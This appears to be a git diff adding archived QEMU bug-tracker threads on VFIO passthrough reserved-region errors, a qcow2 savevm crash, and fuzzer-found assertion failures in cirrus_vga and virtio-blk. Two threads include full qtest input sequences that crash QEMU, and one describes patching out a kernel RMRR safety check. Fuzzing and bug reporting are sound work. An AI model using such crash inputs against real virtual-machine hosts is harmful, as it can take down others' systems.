Memory at f7680000 (64-bit, non-prefetchable) [size=16K] + Region 4: I/O ports at c000 [size=128] + Expansion ROM at f7600000 [disabled] [size=512K] + Capabilities: [54] Power Management version 2 + Flags: PMEClk- DSI+ D1+ D2+ AuxCurrent=0mA PME(D0-,D1-,D2-,D3hot-,D3cold-) + Status: D0 NoSoftRst- PME-Enable- DSel=0 DScale=1 PME- + Capabilities: [5c] MSI: Enable- Count=1/1 Maskable- 64bit+ + Address: 0000000000000000 Data: 0000 + Capabilities: [70] Express (v1) Legacy Endpoint, MSI 00 + DevCap: MaxPayload 1024 bytes, PhantFunc 0, Latency L0s <64ns, L1 <1us + ExtTag- AttnBtn- AttnInd- PwrInd- RBE- FLReset- + DevCtl: CorrErr- NonFatalErr- FatalErr- UnsupReq- + RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop- + MaxPayload 128 bytes, MaxReadReq 4096 bytes + DevSta: CorrErr- NonFatalErr- FatalErr- UnsupReq- AuxPwr- TransPend- + LnkCap: Port #0, Speed 2.5GT/s, Width x1, ASPM L0s, Exit Latency L0s unlimited + ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp- + LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk+ + ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt- + LnkSta: Speed 2.5GT/s (ok), Width x1 (ok) + TrErr- Train- SlotClk+ DLActive- BWMgmt- ABWMgmt- + Capabilities: [100 v1] Advanced Error Reporting + UESta: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol- + UEMsk: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol- + UESvrt: DLP+ SDES- TLP- FCP+ CmpltTO- CmpltAbrt- UnxCmplt- RxOF+ MalfTLP+ ECRC- UnsupReq- ACSViol- + CESta: RxErr- BadTLP- BadDLLP- Rollover- Timeout- AdvNonFatalErr- + CEMsk: RxErr- BadTLP- BadDLLP- Rollover- Timeout- AdvNonFatalErr- + AERCap: First Error Pointer: 00, ECRCGenCap+ ECRCGenEn- ECRCChkCap+ ECRCChkEn- + MultHdrRecCap- MultHdrRecEn- TLPPfxPres- HdrLogCap- + HeaderLog: 00000000 00000000 00000000 00000000 + Kernel driver in use: sata_sil24 + Kernel modules: sata_sil24 + + + +attaching as file as launched wraps in ugly way + +Hotplug to VM with 3055MB of memory ends same way: + +internal error: błąd podczas wykonać polecenia QEMU „device_add”: vfio 0000:28:00.0: failed to setup container for group 27: memory listener initialization failed: Region mach-virt.ram: vfio_dma_map(0x55c1aca5c5c0, 0x40000000, 0xbef00000, 0x7f3549000000) = -22 (Invalid argument) + +Traceback (most recent call last): + File "/usr/share/virt-manager/virtManager/addhardware.py", line 1327, in _add_device + self.vm.attach_device(dev) + File "/usr/share/virt-manager/virtManager/object/domain.py", line 920, in attach_device + self._backend.attachDevice(devxml) + File "/usr/lib64/python3.8/site-packages/libvirt.py", line 606, in attachDevice + if ret == -1: raise libvirtError ('virDomainAttachDevice() failed', dom=self) +libvirt.libvirtError: internal error: błąd podczas wykonać polecenia QEMU „device_add”: vfio 0000:28:00.0: failed to setup container for group 27: memory listener initialization failed: Region mach-virt.ram: vfio_dma_map(0x55c1aca5c5c0, 0x40000000, 0xbef00000, 0x7f3549000000) = -22 (Invalid argument) + + +14:57 < aw> hrw: under /sys/kernel/iommu_groups/ there's a reserved_regions file for every group. cat the ones associated with the groups for these devices + +14:59 < hrw> 14:58 (0s) hrw@puchatek:28$ cat reserved_regions +14:59 < hrw> 0x00000000fee00000 0x00000000feefffff msi +14:59 < hrw> 0x000000fd00000000 0x000000ffffffffff reserved + +14:59 < hrw> 14:59 (2s) hrw@puchatek:27$ cat reserved_regions +14:59 < hrw> 0x00000000fee00000 0x00000000feefffff msi +14:59 < hrw> 0x000000fd00000000 0x000000ffffffffff reserved + +15:00 < aw> of course, you're on an x86 host, arm has no concept of not mapping memory at 0xfee00000 + + +Summary: ARM64 TCG VM on x86 host has GPA overlapping host reserved IOVA regions, vfio cannot map these. The VM needs holes in the GPA to account for this. The 2nd and 3rd args of the vfio_dma_map error report are the starting IOVA address and length respectively. + +My (limited) understanding of PCI was that the board and the PCI controller emulation define what the windows are where PCI BARs can live, and that PCI cards go there. (This certainly works for emulated PCI cards.) It's not clear to me why the host system imposes restrictions on the memory layout of the VM... + + +This is not related to the BARs, the mapping of the BARs into the guest is purely virtual and controlled by the guest. The issue is that the device needs to be able to DMA into guest RAM, and to do that transparently (ie. the guest doesn't know it's being virtualized), we need to map GPAs into the host IOMMU such that the guest interacts with the device in terms of GPAs, the host IOMMU translates that to HPAs. Thus the IOMMU needs to support GPA range of the guest as IOVA. However, there are ranges of IOVA space that the host IOMMU cannot map, for example the MSI range here is handled by the interrupt remmapper, not the DMA translation portion of the IOMMU (on physical ARM systems these are one-in-the-same, on x86 they are different components, using different mapping interfaces of the IOMMU). Therefore if the guest programmed the device to perform a DMA to 0xfee00000, the host IOMMU would see that as an MSI, not a DMA. When we do an x86 VM on and x86 host, both the host and the guest have complimentary reserved regions, which avoids this issue. + +Also, to expand on what I mentioned on IRC, every x86 host is going to have some reserved range below 4G for this purpose, but if the aarch64 VM has no requirements for memory below 4G, the starting GPA for the VM could be at or above 4G and avoid this issue. + +That's an awkward flaw in the IOMMU design :-( + + +I wrote blog post about it: https://marcin.juszkiewicz.com.pl/2020/03/25/sharing-pcie-cards-across-architectures/ + +I wanted to try the same on machine without MSI. But my desktop refuses to boot into sane environment with pci=nomsi kernel option. + +Do we need something like a table of excluded IOVA regions in ACPI or somewhere; in a similar way we have a region of exluded physical ram areas? +Or is the range of excluded IOVA's constant on any one architecture so it doesn't normally need to worry about it? + +Yes, to support this the vfio driver would need to be able to exclude ranges of guest GPA space. Recent kernels already expose an IOVA list via the vfio API. Clearly, excluding GPA ranges has implications for hotplug. On x86 the ranges are pretty consistent, but IIRC differ between Intel and AMD. The vfio IOVA list was originally developed for an ARM use case though, and I imagine there's little or no consistency there. + +Re: pci=nomsi, the reserved range exists regardless of whether MSI is actually used. + +I am experiencing the same behaviour for x86_64 guest on x86_64 host to which I'm attempting to efi boot (not hotplug) with a pcie gpu passthrough + +This discussion (https://www.spinics.net/lists/iommu/msg40613.html) suggests a change in drivers/iommu/intel-iommu.c but it appears that in the kernel I tried, the change it is already implemented (linux-image-5.4.0-39-generic) + +hardware is a hp microserver gen8 with conrep physical slot excluded in bios (https://www.jimmdenton.com/proliant-intel-dpdk/) and the kernel is rebuild with rmrr patch (https://forum.proxmox.com/threads/compile-proxmox-ve-with-patched-intel-iommu-driver-to-remove-rmrr-check.36374/) + +also an user complains that on the same hardware it used to work with kernel 5.3 + rmrr patch (https://forum.level1techs.com/t/looking-for-vfio-wizards-to-troubleshoot-error-vfio-dma-map-22/153539) but it stopped working on the 5.4 kernel. + +is this the same issue I'm observing? my qemu complains with the similar message: + + -device vfio-pci,host=07:00.0,id=hostdev0,bus=pci.4,addr=0x0: vfio_dma_map(0x556eb57939f0, 0xc0000, 0x3ff40000, 0x7f6fc7ec0000) = -22 (Invalid argument) + +/sys/kernel/iommu_groups/1/reserved_regions shows: + +0x00000000000e8000 0x00000000000e8fff direct +0x00000000000f4000 0x00000000000f4fff direct +0x00000000d5f7e000 0x00000000d5f94fff direct +0x00000000fee00000 0x00000000feefffff msi + + +except that in my case the vm does not boot at all no matter how less memory I allocate to it. + +You'd need to create a 160KB VM in order to stay below the required direct map memory regions imposed by the system firmware (e8000 - c0000). Non-upstream bypasses of those restrictions are clearly not supported. You can find more details regarding the RMRR restriction here: +https://access.redhat.com/sites/default/files/attachments/rmrr-wp1.pdf + +QEMU currently has no support for creating a VM memory map based on the restrictions of the host platform IOMMU requirements. + +Alex, thanks for the quick answer, but sadly I still do not fully understand the implications, even if I read the pdf paper on RH website you mention, as well as the vendor advisory at https://support.hpe.com/hpesc/public/docDisplay?docId=emr_na-c04781229 + +When you say "qemu has no support", do you actually mean "qemu people are unable to help you if you break things by bypassing the in-place restrictions", or "qemu is designed to not work when restrictions are bypassed"? + +Do I understand correctly that the BIOS can modify portions of the system usable RAM, so the vendor specific software tools can read those addresses, and if yes, does this mean is there a risk for data corruption if the RMRR restrictions are bypassed? + +I have eventually managed to passthrough an nvidia card in the microserver gen8 to a windows vm using patched kernel 5.3, along with the vendor instructions to exclude the pcie slot aka the conrep solution but for it to work it still needed the "rmrr patch" aka removing the "return -EPERM" line below the "Device is ineligible [...]" in drivers/iommu/intel-iommu.c + + +However applying the same modification to kernel 5.4 leads to the "VFIO_MAP_DMA: -22" error. + +Is there other place in the kernel 5.4 source that must be modified to bring back the v5.3 kernel behaviour? (ie. I have a stable home windows vm with the gpu passthrough despite all) + +> When you say "qemu has no support", do you actually mean "qemu people +> are unable to help you if you break things by bypassing the in-place +> restrictions", or "qemu is designed to not work when restrictions are +> bypassed"? + +The former. There are two aspects to this. The first is that the device has address space restrictions which therefore impose address space restrictions on the VM. That makes things like hotplug difficult or impossible to support. That much is something that could be considered a feature which QEMU has not yet implemented. + +The more significant aspect when RMRRs are involved in this restriction is that an RMRR is essentially the platform firmware dictating that the host OS must maintain an identity map between the device and a range of physical address space. We don't know the purpose of that mapping, but we can assume that it allows the device to provide ongoing data for platform firmware to consume. This data might included health or sensor information that's vital to the operation of the system. It's therefore not simply a matter that QEMU needs to avoid RMRR ranges, we need to maintain the required identity maps while also manipulating the VM address space, but the former requirement implies that a user owns a device that has DMA access to a range of host memory that's been previously defined as vital to the operation of the platform and therefore likely exploitable by the user. + +The configuration you've achieved appears to have disabled the host kernel restrictions preventing RMRR encumbered devices from participating in the IOMMU API, but left in place the VM address space implications of those RMRRs. This means that once the device is opened by the user, that firmware mandated identity mapping is removed and whatever health or sensor data was being reported by the device to that range is no longer available to the host firmware, which might adversely affect the behavior of the system. Upstream put this restriction in place as the safe thing to do to honor the firmware mapping requirement and you've circumvented it, therefore you are your own support. + +> Do I understand correctly that the BIOS can modify portions of the +> system usable RAM, so the vendor specific software tools can read +> those addresses, and if yes, does this mean is there a risk for +> data corruption if the RMRR restrictions are bypassed? + +RMRRs used for devices other than IGD or USB are often associated with reserved memory regions to prevent the host OS from making use of those ranges. It is possible that privileged utilities might interact with these ranges, but AIUI the main use case is for the device to interact with the range, which firmware then consumes. If you were to ignore the RMRR mapping altogether, there is a risk that the device will continue to write whatever health or sensor data it's programmed to report to that IOVA mapping, which could be a guest mapping and cause data corruption. + +> Is there other place in the kernel 5.4 source that must be modified +> to bring back the v5.3 kernel behaviour? (ie. I have a stable home +> windows vm with the gpu passthrough despite all) + +I think the scenarios is that previously the RMRR patch worked because the vfio IOMMU backend was not imposing the IOMMU reserved region mapping restrictions, meaning that it was sufficient to simply allow the device to participate in the IOMMU API and the remaining restrictions were ignored. Now the vfio IOMMU backend recognizes the address space mapping restrictions and disallows creating those mappings that I describe above as a potential source of data corruption. Sorry, you are your own support for this. The system is not fit for this use case due to the BIOS imposed restrictions. + +@alex-l-williamson: is there any safe(ish) way to ignore RMRR coming from BIOS? + +I don't know how IOMMU actually works in the kernel but theoretically if kernel had a flag forcing it to ignore certain RMRRs? If I understand this correctly ignoring an RMRR entry may cause two things: +1) DMA failure if remapping is attempted +2) If something (e.g. KVM) touches that region because we ignored RMRR the device memory may get corrupted + +Linux already has mechanisms to ignore stubborn BIOSes (e.g. disabled x2APIC with no option to enable it in the BIOS). + + + +The only thing I'm worried about is the thing you said: +> The more significant aspect when RMRRs are involved in this restriction is that an RMRR is +> essentially the platform firmware dictating that the host OS must maintain an identity map +> between the device and a range of physical address space. We don't know the purpose of that +> mapping, but we can assume that it allows the device to provide ongoing data for platform +> firmware to consume. + +Does this mean that if a kernel is "blind" to a given RMRR region something else may break because these regions need to be treated in some special manner outside of not touching them for IOMMU? + +The QEMU project is currently moving its bug tracking to another system. +For this we need to know which bugs are still valid and which could be +closed already. Thus we are setting the bug state to "Incomplete" now. + +If the bug has already been fixed in the latest upstream version of QEMU, +then please close this ticket as "Fix released". + +If it is not fixed yet and you think that this bug report here is still +valid, then you have two options: + +1) If you already have an account on gitlab.com, please open a new ticket +for this problem in our new tracker here: + + https://gitlab.com/qemu-project/qemu/-/issues + +and then close this ticket here on Launchpad (or let it expire auto- +matically after 60 days). Please mention the URL of this bug ticket on +Launchpad in the new ticket on GitLab. + +2) If you don't have an account on gitlab.com and don't intend to get +one, but still would like to keep this ticket opened, then please switch +the state back to "New" or "Confirmed" within the next 60 days (other- +wise it will get closed as "Expired"). We will then eventually migrate +the ticket automatically to the new system (but you won't be the reporter +of the bug in the new system and thus you won't get notified on changes +anymore). + +Thank you and sorry for the inconvenience. + + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/stability./1880189 b/results/classifier/deepseek-1/output/stability./1880189 new file mode 100644 index 00000000..6adb4e64 --- /dev/null +++ b/results/classifier/deepseek-1/output/stability./1880189 @@ -0,0 +1,113 @@ + +I/O writes make cirrus_invalidate_region() crash + +As of commit d19f1ab0, LLVM libFuzzer found: + +qemu-fuzz-i386: hw/display/cirrus_vga.c:646: void cirrus_invalidate_region(CirrusVGAState *, int, int, int, int): Assertion `off_cur_end >= off_cur' failed. +==1336555== ERROR: libFuzzer: deadly signal + #0 0xaaaaaf943ce4 in __sanitizer_print_stack_trace + #1 0xaaaaaf899474 in fuzzer::PrintStackTrace() + #2 0xaaaaaf884c80 in fuzzer::Fuzzer::CrashCallback() + #3 0xffff9b4e8568 (linux-vdso.so.1+0x568) + #4 0xffff99ac406c in __libc_signal_restore_set /build/glibc-w4ZToO/glibc-2.31/signal/../sysdeps/unix/sysv/linux/internal-signals.h:86:3 + #5 0xffff99ac406c in raise /build/glibc-w4ZToO/glibc-2.31/signal/../sysdeps/unix/sysv/linux/raise.c:48:3 + #6 0xffff99ab0d64 in abort /build/glibc-w4ZToO/glibc-2.31/stdlib/abort.c:79:7 + #7 0xffff99abd5d8 in __assert_fail_base /build/glibc-w4ZToO/glibc-2.31/assert/assert.c:92:3 + #8 0xffff99abd640 in __assert_fail /build/glibc-w4ZToO/glibc-2.31/assert/assert.c:101:3 + #9 0xaaaab040768c in cirrus_invalidate_region + #10 0xaaaab0405404 in cirrus_bitblt_solidfill + #11 0xaaaab0402a88 in cirrus_bitblt_start + #12 0xaaaab04046a8 in cirrus_write_bitblt + #13 0xaaaab0400db4 in cirrus_vga_write_gr + #14 0xaaaab03fd33c in cirrus_vga_ioport_write + #15 0xaaaaafb41674 in memory_region_write_accessor + #16 0xaaaaafb411ec in access_with_adjusted_size + #17 0xaaaaafb40180 in memory_region_dispatch_write + #18 0xaaaaaf995dfc in flatview_write_continue + #19 0xaaaaaf985bd8 in flatview_write + #20 0xaaaaaf98574c in address_space_write + #21 0xaaaab110510c in ioport_fuzz_qtest + #22 0xaaaab1103a48 in i440fx_fuzz_qtest + #23 0xaaaab11010d8 in LLVMFuzzerTestOneInput + +Reproducer: + +qemu-system-i386 -M isapc,accel=qtest -vga cirrus -qtest stdio << 'EOF' +outl 0x03b1 0x2fdc1001 +outb 0x03cc 0xe +outb 0x03cc 0xe +outb 0x03cc 0x2f +outb 0x03cc 0xe +outb 0x03cc 0x2f +outb 0x03cc 0xe +outl 0x03cc 0xedc100e +outb 0x03cc 0x2f +outl 0x03cc 0xe24f40e +outl 0x03cc 0x2f23dc12 +outl 0x03cc 0xe23f40e +outl 0x03cc 0xe31dc12 +outb 0x03cc 0x2f +outl 0x03cc 0xe2af40e +outl 0x03cc 0x2f235612 +outl 0x03cc 0xe23f40e +outl 0x03cc 0xe31dc12 +outb 0x03cc 0x2f +outl 0x03cc 0x2fdcf40e +outb 0x03cc 0xe +outl 0x03cc 0xedc100e +outb 0x03cc 0x2f +outl 0x03cc 0xe24f40e +outl 0x03cc 0xe23dc12 +outb 0x03cc 0x2f +outl 0x03cc 0xedc100e +outl 0x03cc 0x2fdc400e +outb 0x03cc 0xe +outl 0x03cc 0xe130100e +outb 0x03cc 0x2f +outl 0x03cc 0xe23f40e +outl 0x03cc 0xe31dc12 +outb 0x03cc 0x2f +outl 0x03cc 0xe33f40e +outl 0x03cc 0xdc235612 +outb 0x03cc 0xe +outl 0x03cc 0x2fdc400e +outb 0x03cc 0xe +outl 0x03cc 0xfb24100e +outb 0x03cc 0x2f +outl 0x03cc 0xdc10dc0e +outl 0x03cc 0x2f31dc12 +outl 0x03cc 0xe23f40e +outl 0x03cc 0xe31dc12 +outb 0x03cc 0x2f +outl 0x03cc 0xe23f40e +outl 0x03cc 0xe31dc12 +outb 0x03cc 0x2f +outl 0x03cc 0x1021f40e +EOF +qemu-system-i386: hw/display/cirrus_vga.c:645: cirrus_invalidate_region: Assertion `off_cur_end >= off_cur' failed. +Aborted (core dumped) + +(gdb) bt +#0 0x00007f1d019fee35 in raise () at /lib64/libc.so.6 +#1 0x00007f1d019e9895 in abort () at /lib64/libc.so.6 +#2 0x00007f1d019e9769 in _nl_load_domain.cold () at /lib64/libc.so.6 +#3 0x00007f1d019f7566 in annobin_assert.c_end () at /lib64/libc.so.6 +#4 0x00005645cb447a37 in cirrus_invalidate_region (s=0x5645cd237540, off_begin=2097204, off_pitch=251, bytesperline=1, lines=7169) at hw/display/cirrus_vga.c:645 +#5 0x00005645cb447cc8 in cirrus_bitblt_solidfill (s=0x5645cd237540, blt_rop=0) at hw/display/cirrus_vga.c:704 +#6 0x00005645cb448886 in cirrus_bitblt_start (s=0x5645cd237540) at hw/display/cirrus_vga.c:1005 +#7 0x00005645cb448dd1 in cirrus_write_bitblt (s=0x5645cd237540, reg_value=47) at hw/display/cirrus_vga.c:1090 +#8 0x00005645cb449b02 in cirrus_vga_write_gr (s=0x5645cd237540, reg_index=49, reg_value=47) at hw/display/cirrus_vga.c:1593 +#9 0x00005645cb44bb2f in cirrus_vga_ioport_write (opaque=0x5645cd237540, addr=975, val=47, size=1) at hw/display/cirrus_vga.c:2686 +#10 0x00005645cb1e0d6e in memory_region_write_accessor (mr=0x5645cd247f10, addr=31, value=0x7fff178d6c18, size=1, shift=24, mask=255, attrs=...) at memory.c:483 +#11 0x00005645cb1e0f7f in access_with_adjusted_size (addr=28, value=0x7fff178d6c18, size=4, access_size_min=1, access_size_max=1, access_fn= + 0x5645cb1e0c8b <memory_region_write_accessor>, mr=0x5645cd247f10, attrs=...) at memory.c:544 +#12 0x00005645cb1e3e9d in memory_region_dispatch_write (mr=0x5645cd247f10, addr=28, data=791796754, op=MO_32, attrs=...) at memory.c:1476 +#13 0x00005645cb1845e5 in flatview_write_continue (fv=0x5645cd65e510, addr=972, attrs=..., ptr=0x7fff178d6da4, len=4, addr1=28, l=4, mr=0x5645cd247f10) at exec.c:3137 +#14 0x00005645cb18472a in flatview_write (fv=0x5645cd65e510, addr=972, attrs=..., buf=0x7fff178d6da4, len=4) at exec.c:3177 +#15 0x00005645cb184a7d in address_space_write (as=0x5645cbd7bb20 <address_space_io>, addr=972, attrs=..., buf=0x7fff178d6da4, len=4) at exec.c:3268 +#16 0x00005645cb1db385 in cpu_outl (addr=972, val=791796754) at ioport.c:80 + +Making this bug public as secalert@ said "if an unprivileged guest user can not trigger it, it can be treated as a normal bug". + +Fixed in commit 5fcf787582dd911df3a971718010bfca5a20e61d + diff --git a/results/classifier/deepseek-1/output/storage**./1401798 b/results/classifier/deepseek-1/output/storage**./1401798 new file mode 100644 index 00000000..eee6f895 --- /dev/null +++ b/results/classifier/deepseek-1/output/storage**./1401798 @@ -0,0 +1,55 @@ + +Qemu 2.2.0 savevm crash. + +qemu 2.1.2 is good. + +(gdb) bt +#0 0x00007ffff4aae445 in raise () from /lib/x86_64-linux-gnu/libc.so.6 +#1 0x00007ffff4ab1bab in abort () from /lib/x86_64-linux-gnu/libc.so.6 +#2 0x0000555555997951 in qcow2_cache_find_entry_to_replace (c=0x555556389780) at block/qcow2-cache.c:262 +#3 0x0000555555997a1a in qcow2_cache_do_get (bs=0x5555563836f0, c=0x555556389780, offset=1094713344, table=0x7fffffffc528, + read_from_disk=true) at block/qcow2-cache.c:285 +#4 0x0000555555997c45 in qcow2_cache_get (bs=0x5555563836f0, c=0x555556389780, offset=1094713344, table=0x7fffffffc528) + at block/qcow2-cache.c:331 +#5 0x0000555555991ca9 in l2_allocate (bs=0x5555563836f0, l1_index=1, table=0x7fffffffc5a0) at block/qcow2-cluster.c:247 +#6 0x000055555599290c in get_cluster_table (bs=0x5555563836f0, offset=549755813888, new_l2_table=0x7fffffffc610, + new_l2_index=0x7fffffffc62c) at block/qcow2-cluster.c:620 +#7 0x0000555555994213 in discard_single_l2 (bs=0x5555563836f0, offset=549755813888, nb_clusters=156, type=QCOW2_DISCARD_NEVER, + full_discard=false) at block/qcow2-cluster.c:1425 +#8 0x0000555555994491 in qcow2_discard_clusters (bs=0x5555563836f0, offset=549755813888, nb_sectors=638976, type=QCOW2_DISCARD_NEVER, + full_discard=false) at block/qcow2-cluster.c:1516 +#9 0x00005555559965c8 in qcow2_snapshot_create (bs=0x5555563836f0, sn_info=0x7fffffffc830) at block/qcow2-snapshot.c:441 +#10 0x00005555559ad1ad in bdrv_snapshot_create (bs=0x5555563836f0, sn_info=0x7fffffffc830) at block/snapshot.c:167 +#11 0x000055555565e90f in do_savevm (mon=0x555556992d20, qdict=0x5555599d5c00) at /vms/qemu/qemu-2.2.0/savevm.c:1126 + +(gdb) show args +Argument list to give program being debugged when it is started is "-name u1404-01 -S -machine pc,accel=kvm,usb=off -m 1024 -smp 2,sockets=2,cores=1,threads=1 -no-user-config -nodefaults -monitor stdio -rtc base=utc -no-shutdown -device piix3-usb-uhci,id=usb,bus=pci.0,addr=0x1.0x2 -device virtio-serial-pci,id=virtio-serial0,bus=pci.0,addr=0x5 -drive file=/vms/images/u1404-01.img,if=none,id=drive-virtio-disk0,format=qcow2,cache=directsync -device virtio-blk-pci,scsi=off,bus=pci.0,addr=0x4,drive=drive-virtio-disk0,id=virtio-disk0 -drive if=none,id=drive-ide0-1-0,readonly=on,format=raw -device ide-cd,bus=ide.1,unit=0,drive=drive-ide0-1-0,id=ide0-1-0 -chardev pty,id=charserial0 -device isa-serial,chardev=charserial0,id=serial0 -device usb-tablet,id=input0 -vnc 0.0.0.0:0 -device cirrus-vga,id=video0,bus=pci.0,addr=0x2 -device virtio-balloon-pci,id=balloon0,bus=pci.0,addr=0x6". + +Maybe bdrv_snapshot_create() should take s->lock but it's not clear yet what causes all qcow2 cache entries to be referenced. + +How do you reproduce this crash? Please give exact steps including what commands to run inside the guest and what QEMU monitor commands to run. + +Is the crash deterministic (does it happen every time or with a random chance)? + +The bug can be reproduced every time. + +1. I install a Ubuntu 14.04 guest. +2. The monitor command is (qemu) snapshot_blkdev_internal drive-virtio-disk0 s1 +3. Or (qemu) savevm s1 + +I think I get the reason. + +From Qemu 2.2.0, in qcow2_open: l2_cache_size = MAX(DEFAULT_L2_CACHE_BYTE_SIZE/s->cluster_size, MIN_L2_CACHE_SIZE); +Here DEFAULT_L2_CACHE_BYTE_SIZE=1M, MIN_L2_CACHE_SIZE=1. + +If the cluster_size < 1M, the l2_cache_size will be greater than 1, it is ok. + +If the cluster_size>=1M, the l2_cache_size will be 1. After create snapshot, the first qcow2_co_writev will abort at qcow2_cache_find_entry_to_replace, because no free room in l2_table_cache. If change the MIN_L2_CACHE_SIZE to 16, it is ok. + + + + + + +Triaging old bug tickets... can you still reproduce this issue with the latest version of QEMU? Or could we close this ticket nowadays? + diff --git a/results/classifier/deepseek-1/output/structures./1890360 b/results/classifier/deepseek-1/output/structures./1890360 new file mode 100644 index 00000000..17abd0cf --- /dev/null +++ b/results/classifier/deepseek-1/output/structures./1890360 @@ -0,0 +1,253 @@ + +Assertion failure in address_space_unmap through virtio-blk + +Hello, +Reproducer: +cat << EOF | ./i386-softmmu/qemu-system-i386 \ +-drive id=mydrive,file=null-co://,size=2M,format=raw,if=none \ +-device virtio-blk,drive=mydrive \ +-nodefaults -nographic -qtest stdio +outl 0xcf8 0x80001010 +outl 0xcfc 0xc001 +outl 0xcf8 0x80001014 +outl 0xcf8 0x80001004 +outw 0xcfc 0x7 +outl 0xc006 0x3aff9090 +outl 0xcf8 0x8000100e +outl 0xcfc 0x41005e1e +write 0x3b00002 0x1 0x5e +write 0x3b00004 0x1 0x5e +write 0x3aff5e6 0x1 0x11 +write 0x3aff5eb 0x1 0xc6 +write 0x3aff5ec 0x1 0xc6 +write 0x7 0x1 0xff +write 0x8 0x1 0xfb +write 0xc 0x1 0x11 +write 0xe 0x1 0x5e +write 0x5e8 0x1 0x11 +write 0x5ec 0x1 0xc6 +outl 0x410e 0x10e +EOF + + +qemu-fuzz-i386: /exec.c:3623: void address_space_unmap(AddressSpace *, void *, hwaddr, _Bool, hwaddr): Assertion `mr != NULL' failed. +==789== ERROR: libFuzzer: deadly signal + #8 in __assert_fail /build/glibc-GwnBeO/glibc-2.30/assert/assert.c:101:3 + #9 in address_space_unmap /exec.c:3623:9 + #10 in dma_memory_unmap /include/sysemu/dma.h:145:5 + #11 in virtqueue_unmap_sg /hw/virtio/virtio.c:690:9 + #12 in virtqueue_fill /hw/virtio/virtio.c:843:5 + #13 in virtqueue_push /hw/virtio/virtio.c:917:5 + #14 in virtio_blk_req_complete /hw/block/virtio-blk.c:83:5 + #15 in virtio_blk_handle_request /hw/block/virtio-blk.c:671:13 + #16 in virtio_blk_handle_vq /hw/block/virtio-blk.c:780:17 + #17 in virtio_queue_notify_aio_vq /hw/virtio/virtio.c:2324:15 + #18 in virtio_queue_host_notifier_aio_read /hw/virtio/virtio.c:3495:9 + #19 in aio_dispatch_handler /util/aio-posix.c:328:9 + #20 in aio_dispatch_handlers /util/aio-posix.c:371:20 + #21 in aio_dispatch /util/aio-posix.c:381:5 + #22 in aio_ctx_dispatch /util/async.c:306:5 + #23 in g_main_context_dispatch + + +With -trace virtio\* + +... +[S +0.099667] OK +[R +0.099681] write 0x5ec 0x1 0xc6 +OK +[S +0.099690] OK +[R +0.099700] outl 0x410e 0x10e +29575@1596590112.074339:virtio_queue_notify vdev 0x62d000030590 n 0 vq 0x7f9b93fc9800 +29575@1596590112.074423:virtio_blk_data_plane_start dataplane 0x60600000f260 +OK +[S +0.099833] OK +29575@1596590112.076459:virtio_queue_notify vdev 0x62d000030590 n 0 vq 0x7f9b93fc9800 +29575@1596590112.076642:virtio_blk_handle_read vdev 0x62d000030590 req 0x611000043e80 sector 0 nsectors 0 +29575@1596590112.076651:virtio_blk_req_complete vdev 0x62d000030590 req 0x611000043e80 status 1 +qemu-system-i386: /home/alxndr/Development/qemu/general-fuzz/exec.c:3623: void address_space_unmap(AddressSpace *, void *, hwaddr, _Bool, hwaddr): Assertion `mr != NULL' failed. + + +-Alex + +Hi Stefan, +This looks an awful lot like the one you looked at here: +https://<email address hidden>/msg705719.html +though this one is for virtio-pci, while that one was for virtio-mmio: + +They are probably the same issue, but the original reproducer no longer +causes an asserion failure for me, so maybe there was already a fix.. +-Alex + +On 200805 0116, Alexander Bulekov wrote: +> Public bug reported: +> +> Hello, +> Reproducer: +> cat << EOF | ./i386-softmmu/qemu-system-i386 \ +> -drive id=mydrive,file=null-co://,size=2M,format=raw,if=none \ +> -device virtio-blk,drive=mydrive \ +> -nodefaults -nographic -qtest stdio +> outl 0xcf8 0x80001010 +> outl 0xcfc 0xc001 +> outl 0xcf8 0x80001014 +> outl 0xcf8 0x80001004 +> outw 0xcfc 0x7 +> outl 0xc006 0x3aff9090 +> outl 0xcf8 0x8000100e +> outl 0xcfc 0x41005e1e +> write 0x3b00002 0x1 0x5e +> write 0x3b00004 0x1 0x5e +> write 0x3aff5e6 0x1 0x11 +> write 0x3aff5eb 0x1 0xc6 +> write 0x3aff5ec 0x1 0xc6 +> write 0x7 0x1 0xff +> write 0x8 0x1 0xfb +> write 0xc 0x1 0x11 +> write 0xe 0x1 0x5e +> write 0x5e8 0x1 0x11 +> write 0x5ec 0x1 0xc6 +> outl 0x410e 0x10e +> EOF +> +> +> qemu-fuzz-i386: /exec.c:3623: void address_space_unmap(AddressSpace *, void *, hwaddr, _Bool, hwaddr): Assertion `mr != NULL' failed. +> ==789== ERROR: libFuzzer: deadly signal +> #8 in __assert_fail /build/glibc-GwnBeO/glibc-2.30/assert/assert.c:101:3 +> #9 in address_space_unmap /exec.c:3623:9 +> #10 in dma_memory_unmap /include/sysemu/dma.h:145:5 +> #11 in virtqueue_unmap_sg /hw/virtio/virtio.c:690:9 +> #12 in virtqueue_fill /hw/virtio/virtio.c:843:5 +> #13 in virtqueue_push /hw/virtio/virtio.c:917:5 +> #14 in virtio_blk_req_complete /hw/block/virtio-blk.c:83:5 +> #15 in virtio_blk_handle_request /hw/block/virtio-blk.c:671:13 +> #16 in virtio_blk_handle_vq /hw/block/virtio-blk.c:780:17 +> #17 in virtio_queue_notify_aio_vq /hw/virtio/virtio.c:2324:15 +> #18 in virtio_queue_host_notifier_aio_read /hw/virtio/virtio.c:3495:9 +> #19 in aio_dispatch_handler /util/aio-posix.c:328:9 +> #20 in aio_dispatch_handlers /util/aio-posix.c:371:20 +> #21 in aio_dispatch /util/aio-posix.c:381:5 +> #22 in aio_ctx_dispatch /util/async.c:306:5 +> #23 in g_main_context_dispatch +> +> +> With -trace virtio\* +> +> ... +> [S +0.099667] OK +> [R +0.099681] write 0x5ec 0x1 0xc6 +> OK +> [S +0.099690] OK +> [R +0.099700] outl 0x410e 0x10e +> 29575@1596590112.074339:virtio_queue_notify vdev 0x62d000030590 n 0 vq 0x7f9b93fc9800 +> 29575@1596590112.074423:virtio_blk_data_plane_start dataplane 0x60600000f260 +> OK +> [S +0.099833] OK +> 